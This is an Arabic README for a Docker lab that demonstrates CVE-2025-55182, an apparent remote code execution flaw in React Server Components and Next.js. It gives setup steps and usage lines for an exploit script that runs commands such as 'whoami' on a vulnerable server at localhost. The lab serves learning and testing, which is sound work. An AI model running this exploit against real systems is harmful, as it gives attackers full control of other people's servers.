مختبر CVE-2025-55182

مختبر عملي لاستغلال CVE-2025-55182 (React2Shell) - تنفيذ الأوامر عن بُعد في مكونات خادم React.

⚠️ إخلاء مسؤولية

لأغراض تعليمية فقط. اختبر فقط على الأنظمة التي تملكها.

بداية سريعة

# Clone and start
git clone https://github.com/dhananjayakumarn/CVE-2025-55182-Lab.git
cd CVE-2025-55182-Lab
docker-compose up -d

# Wait 20 seconds, then exploit
python3 exploit.py http://localhost:3000 "whoami"

هذا كل شيء! يجب أن ترى مخرجات الأمر التي تثبت تنفيذ الأوامر عن بُعد.

ما هو CVE-2025-55182؟

ثغرة حرجة لتنفيذ الأوامر عن بُعد في مكونات خادم React (CVSS 10.0).

المتأثر:

• React 19.0.0 - 19.2.0
• Next.js 15.x - 16.0.6

التأثير: طلب HTTP واحد = تحكم كامل في الخادم

الاستخدام

نص Python

python3 exploit.py <target> <command>

# Examples
python3 exploit.py http://localhost:3000 "whoami"
python3 exploit.py http://localhost:3000 "id"
python3 exploit.py http://localhost:3000 "ls -la"

التنظيف

docker-compose down

تعرف على المزيد

• منشور المدونة - شرح مفصل
• إشعار React
• نشرة Next.js

⭐ امنح نجمة إذا ساعدك هذا في التعلم!